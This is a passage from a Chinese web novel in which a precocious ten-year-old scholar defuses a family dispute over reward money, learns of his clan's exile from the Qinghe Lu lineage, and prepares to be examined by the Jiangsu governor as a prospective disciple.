陆明渊并不动怒,脸上甚至还带着一丝淡淡的微笑。 “三婶说笑了。一家人,不说两家话。父亲与三叔是亲兄弟,血脉相连,打断骨头还连着筋,何来高枝穷亲戚之说?” 他顿了顿,话锋一转,目光变得锐利了些许。 “三婶提及官府奖励的一千两银子,确有其事。不过,这笔银子,并非是给侄儿的赏赐,而是知府周泰大人,见侄儿家境贫寒,特意奖励给侄儿,用以日后求学赶考之用。” “院试、乡试、会试、殿试,哪一桩哪一件,不需要银钱打点?” “这笔钱,是侄儿未来十年,乃至二十年的读书根基,一分一毫,都不能妄动。” 这番话说得有理有据,将银子的性质定义得清清楚楚,是专款专用,堵死了赵氏想要直接分钱的念头。 赵氏的脸色果然一僵,她没想到一个十岁的孩子,说话竟如此条理分明,滴水不漏。 她冷哼一声,正要继续撒泼,却听陆明渊继续说道: “不过,三婶说得也对。我与明文哥同为陆家子孙,我如今侥幸先走一步,理应扶持兄长。” “父亲与三叔是兄弟,我与明文哥,自然也是兄弟。” 听到这话,赵氏的眼睛顿时一亮,陆从文和陈氏也露出了欣慰的神色,以为陆明渊是要松口给钱了。 然而,陆明渊接下来的话,却打破了赵氏所有的幻想。 “明文哥如今正在县学苦读,若他明岁也能考中府试,成为生员。那往后他在府学读书的束脩,便由我这个做弟弟的来出。” “不仅如此,往后五年,只要明文哥还在求学路上,他每年的束脩,都由我大房一力承担。” 此言一出,满室皆惊。 每年府学的束脩,加上笔墨纸砚的开销,少说也要二十两银子,五年就是一百两! 这可不是一笔小数目。 陆明渊竟如此轻易地就许诺了下来,这份魄力与大方,让陆从文都感到心惊。 赵氏更是呼吸一窒,心头狂喜,几乎就要脱口而出答应下来。 可她还没来得及开口,陆明渊那不疾不徐的声音再次响起。 “侄儿愿意替明文哥出这五年的束脩,是尽我做弟弟的一份心意,也是希望明文哥能心无旁骛,专心攻读。” “但若是……若是五年之内,明文哥还未能通过院试,考中秀才……” 他微微停顿,目光平静地看着赵氏。 “那便只能说明,明文哥或许在读书一道上,确实时运不济,又或者……不够勤勉。” “到那时,想必也怪不得我们大房没有尽心扶持了。不知道三婶儿,认不认可侄儿这番话?” 话音落下,屋子里再次陷入了一片死寂。 赵氏脸上的狂喜瞬间凝固,然后一点点变得铁青、煞白。 她不是傻子,陆明渊这番话听着大方,实则却是一记最狠的“以进为退”! 他主动许诺承担五年的束脩,传扬出去,整个陆家村谁不夸大房仁义,谁不赞陆明渊大度? 可这背后,却给陆明文套上了一个沉重的枷锁! 考中府试? 陆明文考了三次县试都还没过呢! 五年内考中秀才? 更是难如登天! 陆明渊把条件摆在了明面上,你儿子行,我就供你。 你儿子不行,那就不是我不帮你,而是你儿子自己不争气! 到时候,所有的压力和非议,都会落到陆明文和他们三房的头上。 别人只会说,大房仁至义尽,奈何三房的儿子是个扶不起的阿斗! 这一招,釜底抽薪,直接堵死了她所有撒泼耍赖的后路! 她想反驳,却找不到任何理由。 难道说“我儿子就是考不上,但你就得给钱”? 这话她说不出口,传出去更是要被人笑掉大牙。 她想答应,又怕自家儿子真的不争气,五年后落得个竹篮打水一场空,还要背上个不学无术的骂名。 一时间,赵氏只觉得胸口堵得慌,一张脸憋得通红。 她看着眼前这个神情淡然的少年,心中第一次生出了一丝寒意。 这哪里是个十岁的孩子,分明就是个成了精的老狐狸! “咳。” 一声苍老的咳嗽打破了僵局。 老太太陈氏缓缓地用手中的拐杖在地上顿了顿,发出“笃”的一声闷响。 她深深地看了一眼自己的长孙,浑浊的眼睛里,有震惊,有欣慰,也有一丝不易察觉的复杂。 她活了大半辈子,什么人没见过,什么事没经过? 陆明渊这番话里的门道,她听得一清二楚。 这孩子,心思深沉,手段高明,却又把一切都摆在了明面上,占尽了“理”与“情”,让人挑不出半点错处。 老三家的那点小心思,算是被这孩子拿捏得死死的。 “好了。” 陈氏开口了,声音带着不容置喙的威严。 “就按渊儿说的办。从文,从智,你们是亲兄弟。明渊,明文,你们也是亲兄弟。一家人,就该互相扶持。” “老大如今出息了,拉扯老三一把是应该的。但打铁还需自身硬,路,终究还是要自己走。” 她锐利的目光扫过赵氏。 “老三家的,你日后也少说些有的没的。渊儿这番话,是给你们三房指了条明路,也是给了明文一个盼头。” “你们要做的,是回去好好督促明文读书,而不是在这里嚼舌根子,丢人现眼!” 最后四个字,说得极重。 赵氏的脸“唰”地一下全白了,身子一颤,再也不敢多言,只能讪讪地低下头。 陈氏又看向陆从文,语气缓和了些。 “从文,你是个好大哥。但有时候,心肠太软,不是好事。你是长子,这个家,你要能撑得起来。” 陆从文羞愧地低下头,应了声:“是,娘。” “这件事,就这么定了!” 陈氏一锤定音,拐杖再次重重一顿。 “往后谁也不许再提!若是让我听到村里有什么闲话,说老大一家不顾兄弟,我第一个不饶!” 一场眼看就要爆发的家庭风波,就这样被陆明渊轻描淡写地化解了。 三叔陆从智自始至终都缩在后面,此刻更是拉着自家婆娘,灰溜溜地告辞了。 屋子里终于恢复了清静,陆从文看着自己的儿子,眼神复杂,有欣慰,有骄傲,也有一丝陌生。 他发现,自己好像从来没有真正认识过这个儿子。 陆明渊却仿佛什么都没发生过一样,重新坐回椅子上,端起那杯已经凉透的粗茶,轻轻抿了一口。 陆家的这些事情,错综复杂,如同乱麻,剪不断,理还乱。 前世的他,见得多了。 今日主动提出这个条件,看似付出了代价,实则是用最小的成本,一劳永逸地解决了最大的隐患。 这个时代,名声大过天。 他绝不能让“忘恩负负义”、“不顾亲族”的污名,成为自己未来路上的绊脚石。 五年的束脩,不过百十两银子。 对他而言,甚至抵不上翰墨轩一个月的利润分红。 用这点小钱,买来五年的清静,堵死所有的流言蜚语,这笔买卖,划算得很。 从此以后,陆家村里,再无人能以此为由,对他们大房戳脊梁骨。 处理完家里的琐事,压在陆从文和王氏心头的一块大石也落了地。 一家人围坐在一起,吃了一顿其乐融融的午饭。 饭后,正当陆明渊准备回房小憩片刻时,院门外却传来了一阵喧闹。 第093章 我们陆家村的根,在何处? 村里的族长陆厚德,带着几位头发花白的族老,满面红光地走了进来。 “明渊侄孙在家吗?” 陆厚德的声音洪亮,中气十足。 陆从文连忙起身相迎,恭敬地将几位老人请进了屋。 “族长,几位叔公,快请坐。” 陆厚德摆了摆手,目光灼灼地落在陆明渊身上,那眼神,像是看着一块绝世的美玉。 “不坐了,不坐了。从文啊,我们是来请明渊去祠堂的。” “去祠堂?” 陆从文一愣。 “对!”陆厚德重重地点头,脸上是前所未有的严肃与郑重。 “明渊高中府试案首,此乃我陆家村百年未有之荣耀!理应去祠堂,祭告先祖,将这份喜讯,上禀于列祖列宗!” 这本是应有之意,陆明渊自然不会拒绝。 在陆厚德和几位族老的带领下,陆明渊随着父亲,再次来到了村东头的陆家祠堂。 这座祠堂比陆家的老宅还要古旧,青砖黛瓦,飞檐翘角,在岁月的侵蚀下透着一股庄严肃穆的气息。 祠堂内光线昏暗,空气中弥漫着常年不散的香火气息。正堂之上,密密麻麻地供奉着陆氏一族的先祖牌位。 繁琐而庄重的祭祀流程再次走了一遍。 上香,叩拜,献上祭品,聆听族长诵读祭文。 整个过程,陆明渊都表现得一丝不苟,神情肃穆。 他能感受到,周围的族人们,看着他的眼神里,充满了敬畏与期望。 这种期望,沉甸甸的,压在他的肩上。 祭祀完毕,族人们渐渐散去,陆厚德却留了下来,他遣散了所有人,只留下了陆明渊和陆从文父子。 祠堂里,光线透过雕花的窗格,在地上投下斑驳的光影,无数尘埃在光柱中飞舞。 陆厚德领着陆明渊,走到了祠堂最深处,那里供奉着一块被擦拭的油光发亮,却显得最为古老的牌位。 “明渊,你可知,我们陆家村的根,在何处?” 陆厚德的声音,带着一丝历史的沧桑。 陆明渊摇了摇头。 陆从文也面露疑惑,他只知道祖祖辈辈都生活在这里,却从未深究过源头。 陆厚德长长地叹了一口气,浑浊的眼中,流露出一丝向往,一丝不甘,还有一丝深埋的骄傲。 “我们陆家村,并非江陵县的土著。我们的根,在千里之外的清河郡!” “清河郡?” 陆明渊心中一动。 “没错。”陆厚德的声音微微颤抖。 “我们,是清河陆氏的分支。大乾王朝七大世家之一,簪缨世族,书香门第的清河陆氏!” 这个消息,如同一道惊雷,在陆明渊和陆从文的耳边炸响。 陆从文更是瞠目结舌,结结巴巴地道。 “族……族长,这……这是真的?我们……我们是那个清河陆氏的人?” “千真万确。” 陆厚德的目光落在那个古老的牌位上,充满了敬畏。 “这上面供奉的,便是我这一支的先祖。当年,先祖乃是清河陆氏的嫡系子弟,只可惜……唉……” 他摇了摇头,脸上满是痛惜。 “先祖年轻时行差踏错,沾染了赌博的恶习,败坏了家风,输光了家产。” “清河陆氏家规森严,连续三代未能出一个秀才的旁支,便会被逐出宗族,迁往别处。” “我这一支,便是因此……被逐出了陆家,流落到了这江陵县,在此地扎根繁衍,至今已有百年。” 陆明渊静静地听着,心中掀起了惊涛骇浪。 他终于明白,为何父亲,乃至整个陆家村,都对科举有着如此偏执的执念。 这不仅仅是为了光耀门楣,更是为了……回家! “族长,” “被逐出宗族,可还有回去的可能?” 陆厚德猛地转过身,一双老眼死死地盯着陆明渊,那眼神中,燃烧着一团压抑了百年的火焰! “有!” 他一字一顿,掷地有声! “祖训有云,被逐出的分支,若后辈之中,能有人考中进士,光耀门楣,便有资格持族谱,返回清河,认祖归宗!” “进士……” 陆厚德的目光牢牢锁定在陆明渊身上。 “明渊!你不一样!你县试、府试皆是案首!这等天纵之才,百年难遇!” “一个进士,对别人来说是登天之难,但对你来说,我相信,只是时间问题!” “只要你中了进士,我们这一支,就能堂堂正正地回到清河!” “就能将先祖的牌位,重新请回陆氏本家的祠堂!明渊,这是我们陆家村百年来的夙愿啊!” 老族长的声音,在空旷的祠堂里回荡,带着哭腔,充满了无尽的期盼。 陆明渊看着眼前这位激动得浑身颤抖的老人,看着父亲那震撼而又渴望的眼神,再回头望向那满堂的牌位。 他忽然感觉到,自己穿越而来,所要背负的,不仅仅是一个小家庭的兴衰,更是整整一个支脉,上百年的屈辱与期望。 他深吸一口气,对着陆厚德,对着父亲,也对着这满堂的列祖列宗,郑重地躬身一拜。 “族长放心,父亲放心。” “孙儿明渊,定不负所托!” 陆厚德浑浊的老眼中,瞬间涌上了湿热的雾气。 陆从文站在一旁,早已被这惊天的秘闻震得心神恍惚。 清河陆氏,簪缨世家……这些只在说书人嘴里才能听到的字眼,竟与自己这个泥腿子有着血脉关联。 他看着自己年仅十岁的儿子,那瘦削的肩膀上,压着整个支脉百年的屈辱与期盼。 一股莫名的酸楚与骄傲涌上心头,让他眼眶一热。 许久,陆厚德才平复下激动的心情,他亲自领着陆明渊,将那块最古老的先祖牌位重新擦拭了一遍。 从祠堂里走出来,午后的阳光有些刺眼,陆明渊微微眯起了眼睛。 他忽然觉得,脚下的这条路,与来时似乎有了些不同。 从踏出祠堂的那一刻起,他便承载着整个宗族百年夙愿的希望。 陆明渊没有回家,而是脚步一转,朝着村东头的赵夫子家走去。 门口十几名孩童正在院子里摇头晃脑地背着《三字经》,声音稚嫩,却也朗朗上口。 看到陆明渊的身影出现在院门口,原本喧闹的院子瞬间安静了下来。 “明渊哥!” 一个七八岁的孩童惊喜地叫了一声。 紧接着,所有的孩子都站了起来,目光灼灼地看着他。 他们的眼神里,有崇拜,有羡慕,更有发自内心的尊敬。 在这个“万般皆下品,惟有读书高”的时代,一个府试案首,对于这些刚刚启蒙的孩童来说,便如天上的文曲星一般,遥远而璀璨。 陆明渊微笑着对他们点了点头,穿过人群,走进了里屋。 赵夫子正伏在案前,手持一管狼毫,凝神静气地练习着书法。 他写的是小楷,笔力遒劲,自有一番风骨。 听到脚步声,赵夫子并未抬头,只当是哪个顽皮的学生闯了进来,淡淡地说道。 “毛躁什么?回去把《论语》再抄十遍。” “先生。” 陆明渊轻声唤道。 这熟悉而沉稳的声音,让赵夫子持笔的手微微一顿。 他缓缓抬起头,当看清来人是陆明渊时,先是一愣,随即,那双略显疲惫的眼睛里,便绽放出难以言喻的光彩。 “明渊……你来了。” 赵夫子慢慢地放下手中的毛笔。 他仔仔细细地打量着陆明渊,仿佛要将这个自己最得意的学生,重新认识一遍。 “坐,快坐。” 他指了指一旁的竹椅。 陆明渊依言坐下,恭敬地行了一礼。 “学生见过先生。” “好,好啊!” 赵夫子连说了两个“好”字,脸上的笑意再也抑制不住。 “府试案首!明渊,你可真是……真是给了为师一个天大的惊喜啊!” 他站起身,在屋里来回踱步,兴奋之情溢于言表。 “我早就知道,你非池中之物,县试案首已是难得,没想到……你竟能再夺府试案首!哈哈哈哈!好!痛快!” 陆明渊谦逊地笑了笑,说道:“都是先生教导有方。若非先生当初提醒学生,策论需切合时弊,言之有物,学生也不可能写出那篇文章。说到底,这份功劳,先生当居首位。” “诶!” 赵夫子闻言,却停下脚步,摆了摆手。 “明渊,你也不必过谦,你的那篇文章,为师虽然无缘得见,但其中的分量,我却是知道的!” 赵夫子走到陆明渊面前,目光灼灼地看着他。 “能让杭州知府周泰大人,连夜写就奏折,为你请赏!这已是天大的殊荣!” “更何况,这份请赏的奏折,竟是请动了咱们浙直总督,胡宗宪胡部堂亲自上书朝廷!” 第094章 这是天大的信任! “胡部堂!” 陆明渊心中一凛。 这可是当今大乾王朝,权柄最重,也最负盛名的封疆大吏之一! 自己的文章,竟然惊动了这等人物? 赵夫子重重地点了点头,神情无比严肃。 “明渊,你可知这意味着什么?这意味着,你的那篇文章,不仅仅是写得好,更是说到了胡部堂的心坎里!得到了他的赏识!” “有这份赏识在,你未来的青云之路,已然铺开了一半!前途无量,前途无量啊!” 赵夫子一连说了两个“前途无量”,语气中的感慨与激动,让整个屋子的空气都仿佛沸腾了起来。 然而,夸赞之后,他的神情却又猛地一肃,那份激动与喜悦尽数敛去,化作了一抹深沉的凝重。 “明渊。” “学生在。” “去,把房门和窗户都关上。” 赵夫子的声音压低了许多。 “为师有些要紧的话,要与你单独说。” 陆明渊心中一动,虽然不解,但还是立刻起身,依言将房门和窗户一一关好。 随着最后一扇窗户合上,屋内的光线顿时暗了下来,只剩下书案上的一盏油灯。 陆明渊重新坐回椅子上,静静地看着赵夫子,等待着他的下文。 赵夫子深吸了一口气,凑近了一些,声音压得极低,几乎如同耳语。 “明渊,我之前与你说过,要为你寻一位真正的名师,此事,如今有眉目了。” 陆明渊的呼吸微微一滞。 只听赵夫子一字一顿地说道:“为师为你寻的这位老师,乃是当今的……江苏巡抚,林瀚文,林大人!” 江苏巡抚! 这四个字,如同一道惊雷,在陆明渊的脑海中轰然炸响! 那可是从二品的封疆大吏,真正执掌一省军政大权,跺一跺脚,整个江南都要为之震动的人物! 赵夫子,一个偏远村落的教书先生,如何能与这等人物扯上关系? 似乎是看出了陆明渊的震惊与疑惑,赵夫子苦笑了一声,眼中流露出一丝追忆之色。 “说来话长,我与林大人……算是有些渊源。此事你知晓便可,不必深究。” 他没有细说,话锋一转,神情再次变得无比严肃。 “昨日,我收到了林大人的亲笔来信。信中说,他过几日,因有公务,要来一趟杭州府。” “除去公务之外,他还会顺道来咱们江陵县一趟,祭拜先祖。” “祭拜先祖?” 陆明渊敏锐地抓住了关键。 “不错。” 赵夫子点了点头,眼中闪过一抹复杂的光芒。 “林大人这一脉,祖籍便在咱们江陵县,与县城里的林家,算是同宗同源。只是后来分了出去,自立门户,如今早已是云泥之别了。” 他顿了顿,目光紧紧地锁定在陆明渊的脸上,声音愈发低沉。 “这次林大人前来江陵县,除了祭祖,更重要的,便是要亲眼见一见你,他未来的……弟子。” “过几日,林大人会亲自考教你的学问。明渊,此乃千载难逢的机缘!若是能入了林大人的门墙,拜他为师,你的未来,才算是真正的一飞冲天!” “这一关,你若是能过,鲤鱼化龙,便在眼前!若是过不了……” 赵夫子没有再说下去,但那沉重的意味,却已不言而喻。 他看着眼前这个神情已经恢复平静的少年,郑重其事地说道。 “明渊,这几日,你什么都不要想,什么都不要做。将你毕生所学,好生梳理一遍,静下心来,做好万全的准备!” “这,或许是你科举之路上,最重要的一场考试!” 江苏巡抚,林瀚文。 这不仅仅是一个名字,一个官职,它代表着大乾王朝文官体系金字塔尖的那一小撮人。 是无数读书人皓首穷经一生都难以企及的云端。 而现在,这片遥不可及的云,竟要飘到自己的头顶,为自己遮风挡雨,引路前行。 这份机缘,重得让他几乎喘不过气来。 他更明白,这份机缘背后,赵夫子付出了怎样的代价。 一个偏远村落的教书先生,与一位权倾一省的封疆大吏。 即便曾有同窗之谊,可这几十年的岁月流逝,官场沉浮,早已将彼此的人生轨迹分割得天差地别。 这份情谊,用一次,便少一次,薄一分。 赵夫子却将这或许是他此生最珍贵的人情,毫不犹豫地用在了自己的身上。 这恩情,亦重逾千斤。 陆明渊心中百感交集,所有的震惊、感激、动容,最终都化作了一个无比郑重的动作。 他缓缓站起身,整理了一下身上的长衫,然后退后一步,撩起衣摆,双膝重重地跪在了冰凉的青砖地上。 “咚!” 一声闷响,他俯下身,将额头结结实实地磕在了地面上。 没有言语,也无需言语。 这一拜,拜的是师恩如山,拜的是再造之情。 赵夫子没有去扶。 他静静地站在那里,坦然地受了这一礼。 因为他知道,自己受得起。 为了眼前这个孩子,他几乎赌上了自己后半生的安稳与故人的情分。 这一拜,是陆明渊的态度,也是他肩起这份重担的承诺。 直到陆明渊抬起头,眼中已是一片清明与坚定,赵夫子才长长地叹了一口气,走上前,用那双布满老茧的手,将他搀扶了起来。 “痴儿,你这是做什么。” 赵夫子的声音里带着一丝欣慰的沙哑。 “你我师徒一场,我既引你上了这条路,便有责任为你多铺一块垫脚的青石。” 他扶着陆明渊重新坐下,浑浊的眼中泛起回忆的光芒,仿佛看到了几十年前的青葱岁月。 “我与瀚文兄,当年在京城的国子监,曾是同窗,更是……知己。” 赵夫子轻声道,“那时节,我二人常于月下对酌,激扬文字,指点江山,都以为凭着胸中墨水,能为这大乾,为这天下,做一番事业。只可惜……造化弄人。” 他的话语中带着一丝难以言说的萧索与落寞,但很快便被一抹释然所取代。 “后来我因故离京,他则一路青云直上。这情分,虽几十年未见,却始终在。只是,人走茶凉,世事皆是如此。” “我这次修书于他,请他收你为徒,确是……耗尽了这最后一点同窗之谊了。” 赵夫子看着陆明渊,神情变得无比严肃。 “瀚文兄此生,从未收过任何弟子。” ‘你若能入他门墙,便是他的开山大弟子,也是他唯一的关门弟子。” “这意味着什么,你可明白?” 陆明渊心中一凛,郑重点头。 唯一的弟子,这分量太重了。 这不仅仅是学问的传承,更是人脉、资源,乃至政治衣钵的托付! 这是天大的信任,也是天大的考验! “所以,” 赵夫子的声音愈发凝重。 “他必须要亲眼看一看你,考一考你。不光是考你的才学,更是要看你的人品心性。” “你的人品,为师信得过。” 赵夫子拍了拍陆明渊的肩膀,眼中满是赞许。 “当初,你为了让你陆家明文能有更好的前程,甘愿放弃学业,回家拿起锄头,在田间地头熬了数年。” “这份为亲人牺牲的担当,我已在信中为你做了担保。我相信,瀚文兄也定会欣赏你这一点。” “剩下的,便是你的才学了。” 赵夫子目光灼灼地盯着他。 “明渊,你无需紧张,也无需藏拙,那份策论,他来杭州府一定会看过。” “只要你能拿出真才实学,让他看到你的价值与潜力,他便一定会收下你!” 听着赵夫子推心置腹的话语,陆明渊只觉得一股热流在胸中激荡。 他知道,自己的人生,已经走到了一个至关重要的十字路口。 向前一步,便是海阔天空;退后一步,或许此生便困于这江陵县的一隅之地。 他深吸一口气,站起身,再次对赵夫子深深一揖。 “先生放心。” 他的声音不高,却透着一股不容置疑的沉稳与决绝。 “学生定不负先生厚望,也绝不会让未来的老师失望!” “好!” 赵夫子看着眼前少年挺拔如松的身影,用力地点了点头。 “好!我相信你,也相信我自己的眼光,没有看错人!” …… 第095章 他怎么会在这里? 接下来的两日,陆明渊哪里也没去,就安安分分地待在家里。 他陪着奶奶陈氏在院子里晒太阳,听她絮絮叨叨地讲着那些陈年旧事,讲父亲陆从文小时候有多么憨厚懂事,讲家里曾经的荣光与不易。 每当这时,陆明渊都会耐心地听着,不时给奶奶的茶杯里添上热水。 他陪着母亲王氏一起做饭,还会抽出时间,抱着三岁的弟弟陆明泽,坐在门槛上,看天边的云卷云舒。 “哥,天上的云彩好像棉花糖,我想吃。” 陆明泽奶声奶气地说道,口水都快流了下来。 陆明渊笑着捏了捏他的小脸。 “等你哥以后赚了大钱,给你买一座糖山,让你天天吃。” “好耶!” 陆明泽开心地拍着小手,随即又把小脑袋凑到陆明渊耳边,神秘兮兮地问。 “哥,你那天背的《滕王阁序》里,‘落霞与孤鹜齐飞,秋水共长天一色’,是不是就是咱们村口池塘傍晚的样子呀?” 陆明渊心中一动。 这小家伙,竟有如此惊人的记忆力和悟性! 自己不过是闲暇时随口背诵,他听过一遍,不仅记住了,还能联系到眼前的景象。 这天赋,当真是过目不忘! 他心中暗暗决定,等将来安顿下来,定要好好引导这个弟弟,绝不能浪费了这般天赋。 不过眼下,看着弟弟那副只想躺平享福的懒散模样,陆明渊又觉得有些好笑。 父亲陆从文这两日话不多,只是默默地将家里最好的东西都拿给陆明渊吃,干活时也总是不让他插手。 这两日的陪伴,让陆明渊那颗因即将到来的考验而有些浮躁的心,彻底沉静了下来。 第三日清晨,天还未亮,陆明渊便辞别了家人,踏上了返回江陵县的路。 晨雾弥漫,朝阳未升,前路看不太真切,但他的脚步却异常坚定。 江陵县城,四宝斋。 作为大乾王朝三大商行之一,四宝斋的门面自然是整个县城里最气派的。 朱漆大门,金字招牌,进进出出的皆是衣着体面的富商乡绅。 陆明渊一身半旧的青色长衫,洗得发白,却浆洗得干干净净,身姿挺拔,气度沉稳。 “这位小相公,您需要点什么?” 一个机灵的伙计立刻迎了上来,态度恭敬。 “我找你们张老板。” 陆明渊淡淡地说道。 “原来是陆案首!您快里面请,小的这就去通报!” 伙计一听,态度愈发热切,连忙将他引至一旁的待客雅间,又亲自奉上了上好的香茗。 不多时,一阵爽朗的笑声传来,一个身材微胖,面容和善的中年人快步走了进来,正是四宝斋的掌柜,张老板。 “哎呀!明渊小友,真是稀客!” 张老板一进门便拱手行礼,脸上堆满了笑意。 “张老板客气了。” 陆明渊起身还了一礼,开门见山地说道。 “今日前来,是有一事相求。” “但说无妨!只要是在这江陵县的地界上,我能办到的,绝不推辞!” 张老板拍着胸脯保证道。 陆明渊也不绕弯子,直接道明了来意:“我想在县城里,换一处宅子。” “哦?这是好事啊!” “明渊小友高中案首,也该将家人接到县城里来享福了。” “不知小友对宅子有什么要求?城东清净,城西热闹,城南靠着学宫,城北则多是富户大院。” 陆明渊沉吟片刻,缓缓说道。 “要大一些的,最好是两进两出的院子,能有个独立的后院就更好了,方便我读书,也方便家人生活。” 两进两出! 张老板心中微微一惊。 “您放心,这事儿包在我身上。三天之内,我定为您寻摸几处最合适的宅子,到时候请您亲自过目!” “那便有劳张老板了。” 陆明渊放下茶杯,站起身来。 “不劳烦,不劳烦!能为陆案首效劳,是我的荣幸!” 将陆明渊恭恭敬敬地送出四宝斋的大门,看着他消失在人流中的背影,张老板脸上的笑容才慢慢收敛,化作了一抹深思。 他转身对身边的伙计吩咐道:“去,把我珍藏的那套文房四宝拿出来,再备上一份厚礼。” “不,亲自去库房挑,挑最好的!” “另外,找人去打听一下,城里哪几家有像样的两进院子要出手,记住,要快,要办得漂亮!” 江陵县的街道依旧人来人往,叫卖声、车马声、孩童的嬉笑声混杂在一起。 陆明渊没有在街上过多逗留,径直回了林家府学。 接下来的五日,陆明渊彻底沉浸在了书山文海之中。 从经史子集到策论时文,从大乾律法到各州县的风土人情志,他无所不读,无所不看。 林家府学的藏书之丰,远非村中赵夫子的那几箱旧书可比。 他不再仅仅是背诵,而是带着一种审视的、批判的眼光去读。 他将后世的见识与这个时代的典籍相互印证、碰撞。 他的精神力远超常人,每日只需一个时辰的浅眠,便能恢复精力。 这使得他拥有了比旁人多出数倍的时间。 当别的学子早已进入梦乡,他的窗前,灯火总是亮到最晚。 当清晨的第一缕微光刚刚照亮书页上的墨字,他早已洗漱完毕,开始了新一天的苦读。 第五日午后,府学里的先生忽然通知,明日起休沐三日,让所有学子各自归家。 这个消息来得有些突然,却又在情理之中。 陆明渊的心猛地一跳,他知道,该来的,终于要来了。 他平静地收拾好自己的书箱,与相熟的同窗一一道别,而后踏上了回家的路。 夕阳西下,炊烟升起。 当陆明渊推开自家那扇熟悉的柴扉时,院子里的一幕让他瞳孔微微一缩。 父亲陆从文和母亲王氏正局促不安地站在院中。 他们面前,赫然坐着一位身穿青布长衫的老者,正端着一杯粗茶,慢慢地品着。 是赵夫子。 他怎么会在这里? 一个念头如电光石火般在陆明渊的脑海中闪过,瞬间将所有的线索串联了起来。 府学的突然休沐,赵夫子的提前到来…… “先生。” 陆明渊放下书箱,快步上前,恭恭敬敬地行了一礼。 赵夫子放下茶杯,抬起头,浑浊的眼中露出一抹赞许的笑意。 “你回来了。” “先生可是为林巡抚之事而来?” 陆明渊没有绕弯子,直接问道。 “你这孩子,果然聪慧。” 赵夫子点了点头,脸上的神情变得严肃起来。 “不错。瀚文兄……林巡抚,今日已抵达江陵县。” 尽管心中早有猜测,但当亲耳听到这个消息时,陆明渊的心跳还是漏了一拍。 一旁的陆从文和王氏更是紧张得手都不知道该往哪里放。 江苏巡抚! 那可是传说中才能见到的大官,如今,竟然要到自己这小小的农家院落里来? 这感觉,比做梦还要不真实。 赵夫子看着陆明渊,缓缓说道。 “巡抚舟车劳顿,今日先回了林家祖宅祭拜先祖。如今,整个县城外围都已经戒严,林家府邸内外,也已由亲卫接管。” “待他祭祖事毕,稍作歇息,便会……亲自过来。” “亲自过来?” 王氏失声惊呼。 赵夫子理解他们的心情,温言安抚道。 “正是。所以,我才提前一步过来,让你们有个准备。” “从文,弟妹,你们不必惊慌,只需将家里打扫得干净整洁一些便可。巡抚大人要看的,不是你们的家境,而是明渊这个人。” 他顿了顿,又补充道。 “待会儿,可能会有一些……官差先行前来查验,这是巡抚出行的惯例,你们切莫慌张,平常心对待即可。” 赵夫子口中的“官差”,陆明渊却明白,那绝非寻常的衙役,恐怕是传说中的……锦衣卫。 陆从文和王氏哪里还能保持平常心? 这可是天大的事情! 关系到儿子一生的前程! 两人对视一眼,瞬间如同上了发条的陀螺,立刻行动起来。 “他爹,快,快去把院子里的柴火堆挪一挪,码整齐些!” “明渊娘,屋里那张八仙桌,再用清水擦三遍!还有,把我那件压箱底的细棉布衣裳拿出来!” “茶!对,茶!赵先生,咱们家这粗茶可不行,我这就去……去……” 王氏急得团团转,家中最体面的待客之物,也不过是些寻常的茶叶,哪里拿得出手。 看着父母手忙脚乱的样子,陆明渊心中一暖,走上前去,按住了母亲的手,轻声道。 “娘,不必忙乱。先生说得对,林大人要看的,是我。家里的样子,朴素些,反而更显真诚。” 他的声音沉稳而有力,仿佛带着一种奇异的魔力,让焦躁的王氏和陆从文都渐渐冷静了下来。 是啊,人家是何等身份? 什么山珍海味没见过?什么富丽堂皇的宅邸没住过? 刻意地去准备,反而落了下乘。 第096章 学生,谢过先生厚赐 赵夫子欣慰地点了点头,自己这个学生,小小年纪,却有着远超同龄人的沉稳与气度。 单是这份临危不乱的心性,便已是难能可贵。 话虽如此,陆从文和王氏还是将家里彻彻底底地打扫了一遍,窗明几净,一尘不染。 王氏更是换上了一件虽然半旧,但浆洗得干干净净的湖蓝色长裙,那是她当年最好的嫁妆之一。 陆从文也穿上了过年才舍得穿的新衣。 就连三岁的陆明泽,似乎也感受到了这股不同寻常的凝重气氛,乖巧地坐在小板凳上,抱着哥哥的腿,一声不吭。 时间,在一种近乎凝固的寂静中缓缓流逝。 一个时辰。 两个时辰。 三个时辰。 夕阳彻底沉入了西山,暮色四合,院子里点起了两盏昏黄的油灯。 灯火摇曳,将人的影子拉得长长的,显得有些孤寂。 王氏准备好的茶水,已经凉了又热,热了又凉。 陆从文则像一尊石像,笔直地站在门口。 就在所有人的心都快要被这漫长的等待消磨殆尽时—— “咚,咚咚。” 三声沉闷而极富节奏的敲门声,清晰地传入了每个人的耳中。 陆从文一个激灵,猛地站直了身体。 赵夫子深吸一口气,缓缓站起身,对陆明渊使了个眼色。 陆明渊会意,走上前,拉开了院门的门栓。 门外,站着五六名身着飞鱼服,腰佩绣春刀的汉子。 他们身姿挺拔如枪,面容冷峻如冰,眼神锐利如鹰。 暮色之下,他们身上那精美的刺绣反射着幽冷的光,一股无形的、森然的煞气扑面而来。 锦衣卫! 陆从文和王氏哪里见过这等阵仗,吓得脸色发白,双腿都有些发软。 为首的一名锦衣卫目光在院中扫过,最后落在了陆明渊身上,眼神中闪过一丝不易察觉的讶异。 他没想到开门的会是这样一个气度沉稳的孩童。 他没有说话,只是微微一颔首,便带着手下,一言不发地走进了院子。 他们的动作迅捷而无声,如同几道幽灵。 两人守住大门,另外四人则分散开来,对堂屋、厢房、厨房乃至柴房,都进行了快速而细致的检查。 他们并非粗暴地翻箱倒柜,而是目光如炬,指尖轻点,每一个角落,每一个缝隙,都不曾放过。 整个过程,除了轻微的脚步声,竟没有发出一丝多余的声响。 陆从文和王氏紧张得连呼吸都快要停止了,只能紧紧地攥着彼此的手。 唯有陆明渊,自始至终,神色平静地站在那里。 他知道,这是必要的程序。 片刻之后,检查完毕的锦衣卫重新在院中集结,为首那人对着门外,再次恭敬地一颔首。 随后,他们如潮水般向两侧退开,让出了一条通道。 一道身影,沐浴着门外透进来的微光,缓缓地,踏入了这座简陋的农家小院。 来人约莫四十出头的年纪,身着一袭宝蓝色的常服,面容清癯,颌下留着三缕打理得一丝不苟的短须。 他的相貌与林瀚远有几分相似,但气质却截然不同。 如果说林瀚远是温润如玉的富家翁,那么此人,便是一柄藏于鞘中的绝世名剑。 即便没有出鞘,那股久居上位、执掌权柄的威严与气度,也足以让任何人不敢直视。 他的目光并不凌厉,甚至可以说得上温和,但当这道目光扫过来时,却仿佛能洞穿人心,看透你所有的伪装与秘密。 他,便是江苏巡抚,林瀚文。 